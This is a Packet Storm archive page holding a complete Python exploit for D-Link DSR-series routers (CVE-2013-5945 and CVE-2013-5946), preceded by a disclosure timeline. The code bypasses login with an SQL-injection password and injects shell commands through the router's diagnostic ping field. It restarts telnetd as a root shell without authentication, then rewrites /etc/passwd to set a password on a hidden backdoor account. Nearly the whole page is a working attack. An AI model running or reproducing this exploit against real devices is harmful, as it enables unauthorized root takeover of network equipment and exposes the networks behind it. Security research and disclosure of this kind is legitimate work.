Lucene search

K
packetstorm0_oPACKETSTORM:124318
HistoryDec 07, 2013 - 12:00 a.m.

D-Link DSR Router Remote Root Shell

2013-12-0700:00:00
0_o
packetstormsecurity.com
33

0.022 Low

EPSS

Percentile

89.6%

`#!/usr/bin/python  
#  
# CVEs: CVE-2013-5945 - Authentication Bypass by SQL-Injection  
# CVE-2013-5946 - Privilege Escalation by Arbitrary Command Execution  
#  
# Vulnerable Routers: D-Link DSR-150 (Firmware < v1.08B44)  
# D-Link DSR-150N (Firmware < v1.05B64)  
# D-Link DSR-250 and DSR-250N (Firmware < v1.08B44)  
# D-Link DSR-500 and DSR-500N (Firmware < v1.08B77)  
# D-Link DSR-1000 and DSR-1000N (Firmware < v1.08B77)  
#  
# Likely to work on: D-Link DWC-1000  
#  
# Download URL: http://tsd.dlink.com.tw  
#  
# Arch: mips and armv6l, Linux  
#  
# Author: 0_o -- null_null  
# nu11.nu11 [at] yahoo.com  
# Oh, and it is n-u-one-one.n-u-one-one, no l's...  
# Wonder how the guys at packet storm could get this wrong :(  
#  
# Date: 2013-08-18  
#  
# Purpose: Get a non-persistent root shell on your D-Link DSR.  
#  
# Prerequisites: Network access to the router ports 443 and 23.  
# !!! NO AUTHENTICATION CREDENTIALS REQUIRED !!!  
#  
#  
# Coordinated Disclosure -- history and timeline:  
#  
# 2013-09-12: Informed Heise Security and asked for their support on this case  
# 2013-09-13: Informed the manufacturer D-Link via  
# http://www.dlink.com/us/en/support/security-advisories/report-vulnerabilities/ (contact form is buggy!)  
# http://www.d-link.co.za/contactus/feedback/ (contact request submitted)  
# http://www.dlink.com/de/de/contact-d-link (contact form is buggy!)  
# [email protected] (contact request sent)  
# [email protected] (contact request sent)  
# [email protected] (contact request sent)  
# 2013-09-14: Informed the German Federal Office for Information Security (BSI) via [email protected]   
# 2013-09-16: D-Link Russia and D-Link Germany claim to have forwarded my request.  
# 2013-09-17: German BSI responds, contact established.  
# 2013-09-24: Requested CVE-IDs.  
# 2013-09-25: Heise responds, contact established.  
# 2013-09-27: D-Link asks for details on vulns and the exploit code.  
# Mitre assigns two CVEs:  
# CVE-2013-5945 -- authentication bypass  
# CVE-2013-5946 -- privilege escalation  
# 2013-09-30: D-Link has received the exploit and documentation via BSI  
# 2013-11-29: Patches are available for the DSR router series via tsd.dlink.com.tw  
# DSR-150: Firmware v1.08B44  
# DSR-150N: Firmware v1.05B64  
# DSR-250 and DSR-250N: Firmware v1.08B44  
# DSR-500 and DSR-500N: Firmware v1.08B77  
# DSR-1000 and DSR-1000N: Firmware v1.08B77  
# 2013-12-03: Public Disclosure  
#  
# And now - the fun part :-)  
#  
  
  
import httplib  
import urllib  
import telnetlib  
import time  
import sys  
import crypt  
import random  
import string  
  
  
##############################  
#  
# CHANGE THESE VALUES -- BEGIN  
#  
# Your router's IP:PORT  
ipaddr = "192.168.10.1:443"  
# Password to be set (by this hack) on the backdoor account  
bdpasswd = "password"  
#  
# CHANGE THESE VALUES -- END  
#  
# persistent config file: /tmp/teamf1.cfg.ascii  
# Edit this file to make your changes persistent.  
#  
##############################  
  
  
cookie = ""  
pid = -2  
bduser = ""  
  
  
def request(m = "", u = "", b = "", h = ""):  
global ipaddr  
conn = httplib.HTTPSConnection(ipaddr, timeout = 15)  
assert m in ["GET", "POST"]  
conn.request(method = m, url = u, body = b, headers = h)  
ret = conn.getresponse()  
header = ret.getheaders()  
data = ret.read()  
conn.close()  
return (header, data)  
  
  
def login(user, passwd):  
global ipaddr  
headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",  
'User-Agent': "Exploit",  
'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi",  
'Content-Type': "application/x-www-form-urlencoded"}  
body = {'thispage' : "index.htm",  
'Users.UserName' : user,  
'Users.Password' : passwd,  
'button.login.Users.deviceStatus' : "Login",  
'Login.userAgent' : "Exploit"}  
return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers)  
  
  
def logout():  
global ipaddr, cookie  
headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",  
'User-Agent': "Exploit",  
'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi",  
'Content-Type': "application/x-www-form-urlencoded"}  
body = ""  
return request("GET", "/scgi-bin/platform.cgi?page=index.htm", urllib.urlencode(body), headers)  
  
  
def execCmd(cmd = None):  
global ipaddr, cookie  
assert cmd != None  
headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",  
'User-Agent': "Exploit",  
'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi?page=systemCheck.htm",  
'Cookie': cookie,  
'Content-Type': "application/x-www-form-urlencoded"}  
body = {'thispage' : "systemCheck.htm",  
'ping.ip' : "localhost;" + cmd,  
'button.traceroute.diagDisplay' : "Traceroute"}  
return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers)  
  
  
def findPid(mystr = None):  
# " 957 root 2700 S /usr/sbin/telnetd -l /bin/login"  
assert mystr != None  
mypid = 0  
(h, d) = execCmd(cmd = "ps|grep telnetd|grep -v grep");  
s = d.find(mystr)  
if s > 0:  
# telnetd is running  
cand = d[s - 50 : s]  
try:  
mypid = int(cand.split("\n")[1].split()[0])  
except IndexError:  
mypid = int(cand.split(">")[1].split()[0])  
return mypid  
  
  
def restartTelnetd(mystr1 = None, mystr2 = None):  
assert mystr1 != None and mystr2 != None  
global pid  
pid = findPid("telnetd -l /bin/")  
if pid > 0:  
# Stopping the running telnetd  
print "[+] Stopping telnetd (" + str(pid) + "): ",  
sys.stdout.flush()  
(h, d) = execCmd("kill " + str(pid))  
pid = findPid(mystr1)  
if pid > 0:  
print "FAILURE"  
sys.exit(-1)  
else:  
print "OK"  
# Starting a new telnetd  
print "[+] Starting telnetd: ",  
sys.stdout.flush()  
(h, d) = execCmd("telnetd -l " + mystr2)  
pid = findPid("telnetd -l " + mystr2)  
if pid > 0:  
print "OK (" + str(pid) + ")"  
else:  
print "FAILURE"  
sys.exit(-1)  
  
  
def main():  
global ipaddr, cookie, pid, bduser, bdpasswd  
user = "admin"  
passwd = "' or 'a'='a"  
print "\n\nPrivilege Escalation exploit for D-Link DSR-250N (and maybe other routers)"  
print "This change is non-persistent to device reboots."  
print "Created and coded by 0_o (nu11.nu11 [at] yahoo.com)\n\n"  
# Logging into the router  
print "[+] Trying to log into the router: ",  
sys.stdout.flush()  
(h, d) = login(user, passwd)  
if d.find("User already logged in") > 0:  
print "FAILURE"  
print "[-] The user \"admin\" is still logged in. Please log out from your current session first."  
sys.exit(-1)  
elif d.find('<a href="?page=index.htm">Logout</a>') > 0:  
while h:  
(c1, c2) = h.pop()  
if c1 == 'set-cookie':  
cookie = c2  
break  
print "OK (" + cookie + ")"  
elif d.find("Invalid username or password") > 0:  
print "FAILURE"  
print "[-] Invalid username or password"  
sys.exit(-1)  
else:  
print "FAILURE"  
print "[-] Unable to login."  
sys.exit(-1)  
  
# Starting a telnetd with custom parameters  
print "[+] Preparing the hack..."  
restartTelnetd("/bin/login", "/bin/sh")  
  
# Do the h4cK  
print "[+] Hacking the router..."  
print "[+] Getting the backdoor user name: ",  
sys.stdout.flush()  
tn = telnetlib.Telnet(ipaddr.split(":")[0])  
tn.read_very_eager()  
tn.write("cat /etc/profile\n")  
time.sleep(5)  
data = tn.read_very_eager()  
for i in data.split("\n"):  
if i.find('"$USER"') > 0:  
bduser = i.split('"')[3]  
break  
if len(bduser) > 0:  
print "OK (" + bduser + ")"  
else:  
print "FAILURE"  
sys.exit(-1)  
print "[+] Setting the new password for " + bduser + ": ",  
sys.stdout.flush()  
tn.write("cat /etc/passwd\n")  
time.sleep(5)  
data = tn.read_very_eager()  
data = data.split("\n")  
data.reverse()  
data.pop()  
data.reverse()  
data.pop()  
data = "\n".join(data)  
for i in data.split("\n"):  
if i.find(bduser) >= 0:  
line = i.split(':')  
s1 = string.lowercase + string.uppercase + string.digits  
salt = ''.join(random.sample(s1,2))  
pw = crypt.crypt(bdpasswd, salt)  
line[1] = pw  
# doesn't work for some odd reason -- too lazy to find out why  
#salt = ''.join(random.sample(s1,8))  
#line[1] = crypt.crypt(bdpasswd, '$1$' + salt + '$')  
data = data.replace(i, ":".join(line))  
break  
tn.write('echo -en "" > /etc/passwd\n')  
time.sleep(5)  
for i in data.split("\n"):  
tn.write('echo -en \'' + i + '\n\' >> /etc/passwd\n')  
time.sleep(1)  
data = tn.read_very_eager()   
tn.close()  
if data.find(pw) >= 0:  
print "OK (" + pw + ")"  
success = True  
else:  
print "FAILURE"  
print "[-] Could not set the new password."  
sys.exit(-1)  
  
# Switching back to the originals  
print "[+] Mobbing up..."  
restartTelnetd("/bin/sh", "/bin/login")  
  
# Logging out  
print "[+] Logging out: ",  
sys.stdout.flush()  
(h, d) = logout()  
if d.find('value="Login"') > 0:  
print "OK"  
else:  
print "FAILURE"  
print "[-] Unable to determine if user is logged out."  
  
# Print success message  
if success:  
print "[+] You can now log in via SSH and Telnet by using:"  
print " user: " + bduser  
print " pass: " + bdpasswd  
print " These changes will be reverted upon router reboot."  
print " Edit \"/tmp/teamf1.cfg.ascii\" to make your changes persistent."  
  
main()  
sys.exit(0)  
  
  
`

0.022 Low

EPSS

Percentile

89.6%